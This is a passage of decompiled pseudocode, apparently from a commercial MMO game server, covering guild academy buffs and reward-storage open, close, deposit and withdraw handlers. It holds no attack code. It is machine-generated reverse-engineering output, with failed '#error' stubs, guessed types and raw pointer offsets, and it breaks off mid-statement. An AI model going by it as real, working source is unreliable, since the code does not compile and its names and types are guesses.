v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD"); } // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0044B5E0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { ShineGuildAcademyMasterBuff sgamb; // [sp+4h] [bp-18h]@1 int v4; // [sp+18h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; sgamb.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyMasterBuff::_vftable_; sgamb.sgamb_GuildBuff = (PROTO_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD *)&netcmd[1]; LOBYTE(v4) = 1; List::l_4AllInList(unk_1247FF04, (ListIteratorDefault *)&sgamb); --funcallanalizer.fca_stackpoint; sgamb.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD"); } // 5A371C: using guessed type int (__stdcall *ShineGuildAcademyMasterBuff___vftable_)(int, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0044B6A0) -------------------------------------------------------- #error "44B6A0: undefined or illegal type '#331' (funcsize=61)" //----- (0044B790) -------------------------------------------------------- #error "44B790: undefined or illegal type '#331' (funcsize=56)" //----- (0044B870) -------------------------------------------------------- #error "44B870: undefined or illegal type '#331' (funcsize=56)" //----- (0044B950) -------------------------------------------------------- #error "44B950: undefined or illegal type '#331' (funcsize=56)" //----- (0044BA30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 unsigned __int8 v5; // al@1 char v6; // al@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_BYTE *)(netcmd + 2); if ( v5 < 3u ) { *((_BYTE *)v4 + v5 + 68234) = 0; v6 = 1; if ( *((_BYTE *)v4 + 68234) == 1 ) v6 = 0; if ( *((_BYTE *)v4 + 68235) == 1 ) v6 = 0; if ( *((_BYTE *)v4 + 68236) != 1 && v6 == 1 ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2024))(v4); } else { AssertClass::ac_AssertFail(&shineassert, "sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD : nCloseType Error", v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD"); } //----- (0044BB20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ(void *this, int netcmd, int nGuildNo, __int16 handle) { void *v4; // esi@1 int v5; // ebx@2 char *v6; // edi@6 ZoneBaseSession *v7; // eax@8 char *v8; // edi@9 ZoneBaseSession *v9; // eax@11 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) == 1 ) v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2048))(v4); else v5 = netcmd; } else { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); } v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13442; *((_WORD *)v6 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v6 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v6 + 2) = v5; v6[12] = *(_BYTE *)(netcmd + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 13) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ : Packet Too Long", 13); } v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26512; *((_WORD *)v8 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v9); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ : Packet Too Long", 8); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ"); } //----- (0044BCB0) -------------------------------------------------------- GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *, List *, unsigned __int16, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *), unsigned __int16 *hnd, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *key) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *, List *, unsigned __int16, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *); // [sp+8h] [bp-1Ch]@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v8; // [sp+Ch] [bp-18h]@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 5A6570: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (0044BD20) -------------------------------------------------------- GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *__thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, unsigned int guild, unsigned __int16 *storagehandle) { int v3; // eax@0 void *v4; // esp@1 List *v5; // esi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *result; // eax@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement thisa; // [sp+0h] [bp-20C8h]@1 unsigned int v8; // [sp+20B8h] [bp-10h]@1 int v9; // [sp+20BCh] [bp-Ch]@1 int (*v10)(); // [sp+20C0h] [bp-8h]@1 int v11; // [sp+20C4h] [bp-4h]@1 v11 = -1; v10 = _ehhandler__garsm_FindStorage_GuildAcademyRewardStorageManager_GuildAcademyRewardStorage__QAEPAVGuildAcademyRewardStorageElement_2_KPAG_Z; v9 = v3; v4 = alloca(8380); v5 = (List *)this; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(&thisa, guild); v11 = 0; List::l_Search( v5, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCompare, storagehandle, &thisa); v11 = -1; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::_GuildAcademyRewardStorageElement(&thisa); __security_check_cookie(v8); return result; } // 584E5B: using guessed type int _ehhandler$?garsm_FindStorage_GuildAcademyRewardStorageManager_GuildAcademyRewardStorage__QAEPAVGuildAcademyRewardStorageElement_2_KPAG_Z(); //----- (0044BDC0) -------------------------------------------------------- int __usercall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDeactivate(int a1, int a2) { int v2; // esi@1 unsigned int v3; // edi@2 unsigned __int16 *v4; // eax@9 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v5; // ebx@9 __int16 v6; // ax@10 int result; // eax@14 unsigned int nGuildNo; // [sp+8h] [bp-20h]@0 ListIteratorDefault arg; // [sp+10h] [bp-18h]@10 unsigned int v10; // [sp+14h] [bp-14h]@10 int v11; // [sp+18h] [bp-10h]@10 unsigned int v12; // [sp+1Ch] [bp-Ch]@10 signed int v13; // [sp+28h] [bp+0h]@10 v2 = a1; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)a1 + 2044))() ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2044))(v2) == 1 ) v3 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2048))(v2); else v3 = nGuildNo; } else { v3 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1980))(v2); } if ( v3 && (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2016))(v2) && *(_WORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2016))(v2) != -1 ) { v4 = (unsigned __int16 *)(*(int (__thiscall **)(int, int))(*(_DWORD *)v2 + 2016))(v2, a2); v5 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, v3, v4); if ( v5 ) { v6 = *(_WORD *)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2016))(v2); arg.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyRewardStorageDeactive::_vftable_; v10 = v3; LOWORD(v11) = v6; v12 = 0; v13 = 0; List::l_4AllInList(unk_1247FF04, &arg); if ( v12 <= 1 ) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_Deactivate(v5); List::l_Free((List *)&gldacademyrewardstoramanager, *(_WORD *)(v2 + 68230)); } v13 = -1; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2020))(v2); } result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2016))(v2); if ( result ) { result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2016))(v2); if ( *(_WORD *)result != -1 ) result = (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v2 + 2020))(v2, 65535); } return result; } // 5A36B8: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageDeactive___vftable_)(int, int nGuildNo); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0044BF20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck(void *this, int withdraw) { void *v2; // edi@1 int v3; // edx@1 int v4; // eax@2 unsigned __int16 *v5; // eax@6 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v6; // eax@6 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v7; // esi@6 int v8; // eax@8 int v9; // ST04_4@9 DebugLogging *v10; // eax@9 DebugLogging *v11; // eax@9 unsigned __int64 v12; // qax@10 unsigned int v13; // esi@10 unsigned int v14; // ebx@10 unsigned __int64 v15; // kr00_8@10 char *v16; // eax@10 int v17; // eax@12 char *v18; // eax@13 int v19; // esi@13 int v20; // eax@13 int v21; // eax@14 int v22; // eax@16 char *v23; // [sp+0h] [bp-64h]@13 unsigned int nGuildNo; // [sp+14h] [bp-50h]@0 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *storage; // [sp+18h] [bp-4Ch]@6 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG tempring; // [sp+20h] [bp-44h]@13 unsigned int v27; // [sp+54h] [bp-10h]@18 int v28; // [sp+60h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v28 = 0; if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(v3 + 2044))(v2) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1980))(v2); LABEL_5: nGuildNo = v4; goto LABEL_6; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2044))(v2) == 1 ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2); goto LABEL_5; } LABEL_6: v5 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2016))(v2); v6 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, nGuildNo, v5); v7 = v6; storage = v6; if ( *(_WORD *)(withdraw + 16) == 6112 && v6 ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v8 + 24))( v8, v2, *(_WORD *)(withdraw + 6), 0) ) { v9 = *(_WORD *)(withdraw + 6); v10 = DebugLogging::operator<<( &LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck : "); v11 = DebugLogging::operator<<(v10, v9); DebugLogging::operator<<(v11, &deb_LF); } v12 = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(v7); v13 = v12; LODWORD(v12) = *(_DWORD *)(withdraw + 8); v14 = HIDWORD(v12); HIDWORD(v12) = *(_DWORD *)(withdraw + 12); v15 = __PAIR__(v14, v13) - v12; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetMoney(storage, __PAIR__(v14, v13) - v12); v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12336; *(_QWORD *)(v16 + 2) = v15; *((_WORD *)v16 + 5) = *(_WORD *)(withdraw + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v17 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v17 + 12))(v17, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck : Packet Too Long", 12); } v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26510; v19 = (int)(v18 + 2); v18[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v19 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v19 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v19 + 7) = nGuildNo; *(_BYTE *)(v19 + 11) = 1; *(_BYTE *)(v19 + 12) = 0; *(_BYTE *)(v19 + 13) = 2; *(_DWORD *)(v19 + 33) = *(_DWORD *)(withdraw + 8); *(_DWORD *)(v19 + 37) = *(_DWORD *)(withdraw + 12); *(_QWORD *)(v19 + 41) = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(storage); v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); *(_DWORD *)(v19 + 15) = *(_DWORD *)v20; *(_DWORD *)(v19 + 19) = *(_DWORD *)(v20 + 4); *(_DWORD *)(v19 + 23) = *(_DWORD *)(v20 + 8); *(_DWORD *)(v19 + 27) = *(_DWORD *)(v20 + 12); *(_WORD *)(v19 + 31) = -1; *(_BYTE *)(v19 + 14) = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, (const void *)v19, 0x30u); BYTE7(tempring.storage_cen) = *(_BYTE *)(v19 + 48); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member( &gldacademyrewardstoramanager, &tempring); v23 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck"; } else { v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v21 + 32))(v21, *(_WORD *)(withdraw + 6)); *(_WORD *)gpp.pp_Buffer = 12336; *(_WORD *)(withdraw + 16) = 6120; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v22 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v22 + 12))(v22, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck : Packet Too Long", 12); } v23 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck"; } --funcallanalizer.fca_stackpoint; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v23); __security_check_cookie(v27); } //----- (0044C210) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck(void *this, int deposit) { void *v2; // edi@1 int v3; // edx@1 int v4; // eax@2 unsigned __int16 *v5; // eax@6 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v6; // eax@6 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v7; // esi@6 int v8; // eax@8 int v9; // ST04_4@9 DebugLogging *v10; // eax@9 DebugLogging *v11; // eax@9 unsigned __int64 v12; // qax@10 unsigned int v13; // esi@10 unsigned int v14; // ebx@10 unsigned __int64 v15; // kr00_8@10 char *v16; // eax@10 int v17; // eax@12 char *v18; // eax@13 int v19; // esi@13 int v20; // eax@13 int v21; // eax@14 int v22; // eax@16 char *v23; // [sp+0h] [bp-64h]@13 unsigned int nGuildNo; // [sp+14h] [bp-50h]@0 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *storage; // [sp+18h] [bp-4Ch]@6 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG tempring; // [sp+20h] [bp-44h]@13 unsigned int v27; // [sp+54h] [bp-10h]@18 int v28; // [sp+60h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v28 = 0; if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(v3 + 2044))(v2) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1980))(v2); LABEL_5: nGuildNo = v4; goto LABEL_6; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2044))(v2) == 1 ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2); goto LABEL_5; } LABEL_6: v5 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2016))(v2); v6 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, nGuildNo, v5); v7 = v6; storage = v6; if ( *(_WORD *)(deposit + 16) == 6560 && v6 ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v8 + 24))( v8, v2, *(_WORD *)(deposit + 6), 0) ) { v9 = *(_WORD *)(deposit + 6); v10 = DebugLogging::operator<<( &LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck : "); v11 = DebugLogging::operator<<(v10, v9); DebugLogging::operator<<(v11, &deb_LF); } v12 = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(v7); v13 = v12; LODWORD(v12) = *(_DWORD *)(deposit + 8); v14 = HIDWORD(v12); HIDWORD(v12) = *(_DWORD *)(deposit + 12); v15 = v12 + __PAIR__(v14, v13); GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetMoney(storage, v12 + __PAIR__(v14, v13)); v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12338; *(_QWORD *)(v16 + 2) = v15; *((_WORD *)v16 + 5) = *(_WORD *)(deposit + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v17 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v17 + 12))(v17, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck : Packet Too Long", 12); } v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26508; v19 = (int)(v18 + 2); v18[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v19 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v19 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v19 + 7) = nGuildNo; *(_BYTE *)(v19 + 11) = 1; *(_BYTE *)(v19 + 12) = 0; *(_BYTE *)(v19 + 13) = 2; *(_DWORD *)(v19 + 33) = *(_DWORD *)(deposit + 8); *(_DWORD *)(v19 + 37) = *(_DWORD *)(deposit + 12); *(_QWORD *)(v19 + 41) = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(storage); v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); *(_DWORD *)(v19 + 15) = *(_DWORD *)v20; *(_DWORD *)(v19 + 19) = *(_DWORD *)(v20 + 4); *(_DWORD *)(v19 + 23) = *(_DWORD *)(v20 + 8); *(_DWORD *)(v19 + 27) = *(_DWORD *)(v20 + 12); *(_WORD *)(v19 + 31) = -1; *(_BYTE *)(v19 + 14) = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, (const void *)v19, 0x30u); BYTE7(tempring.storage_cen) = *(_BYTE *)(v19 + 48); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member( &gldacademyrewardstoramanager, &tempring); v23 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck"; } else { v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v21 + 32))(v21, *(_WORD *)(deposit + 6)); *(_WORD *)gpp.pp_Buffer = 12338; *(_WORD *)(deposit + 16) = 6120; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v22 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v22 + 12))(v22, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck : Packet Too Long", 12); } v23 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck"; } --funcallanalizer.fca_stackpoint; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v23); __security_check_cookie(v27); } //----- (0044C500) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreFill(void *sp, unsigned int inven) { void *v2; // esi@1 unsigned int v3; // ebx@2 unsigned __int16 *v4; // eax@6 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v5; // eax@6 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v6; // ecx@7 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v7; // eax@9 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v8; // edi@9 unsigned __int8 v9; // al@13 v2 = sp; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreFill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreFill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2044))(v2) ) { if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2044))(v2) == 1 ) v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2048))(v2); else v3 = inven; } else { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1980))(v2); } v4 = (unsigned __int16 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2016))(v2); v5 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, v3, v4); if ( v5 ) { v6 = v5; } else { if ( gldacademyrewardstoramanager.baseclass_0.l_Finger.empty == -1 || (*((_WORD *)v2 + 34115) = gldacademyrewardstoramanager.baseclass_0.l_Finger.empty, v7 = gldacademyrewardstoramanager.baseclass_0.vfptr->l_AllocZ( (List *)&gldacademyrewardstoramanager, *((_WORD *)v2 + 34115)), (v8 = v7) == 0) ) { ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError(v2, 6105); goto LABEL_13; } v7->garse_Guild = v3; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetActivate(v7); v6 = v8; } GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_StoreItem( v6, (PROTO_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_OPEN_ACK *)inven, (#440 *)v2); LABEL_13: v9 = *(_BYTE *)(inven + 14); if ( v9 < 3u ) *((_BYTE *)v2 + v9 + 68234) = 1; else AssertClass::ac_AssertFail(&shineassert, "so_ply_GuildAcademyRewardStoreFill : nOpenType Error", v9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreFill"); } //----- (0044C670) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ(void *this, unsigned int netcmd, int nGuildNo, __int16 handle) { void *v4; // esi@1 bool v5; // zf@1 char *v6; // edi@1 int v7; // eax@9 unsigned int v8; // ebx@11 int v9; // eax@12 unsigned __int16 *v10; // eax@16 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v11; // ebp@16 int v12; // eax@22 char v13; // al@29 int v14; // eax@30 int v15; // edi@31 int v16; // ebp@31 int v17; // eax@31 int v18; // eax@31 char *v19; // edi@31 __int16 v20; // ax@31 int v21; // eax@31 char v22; // al@31 ZoneBaseSession *v23; // eax@32 InventoryLocking::InventoryCellLock *v24; // eax@33 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v26; // [sp+1Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = 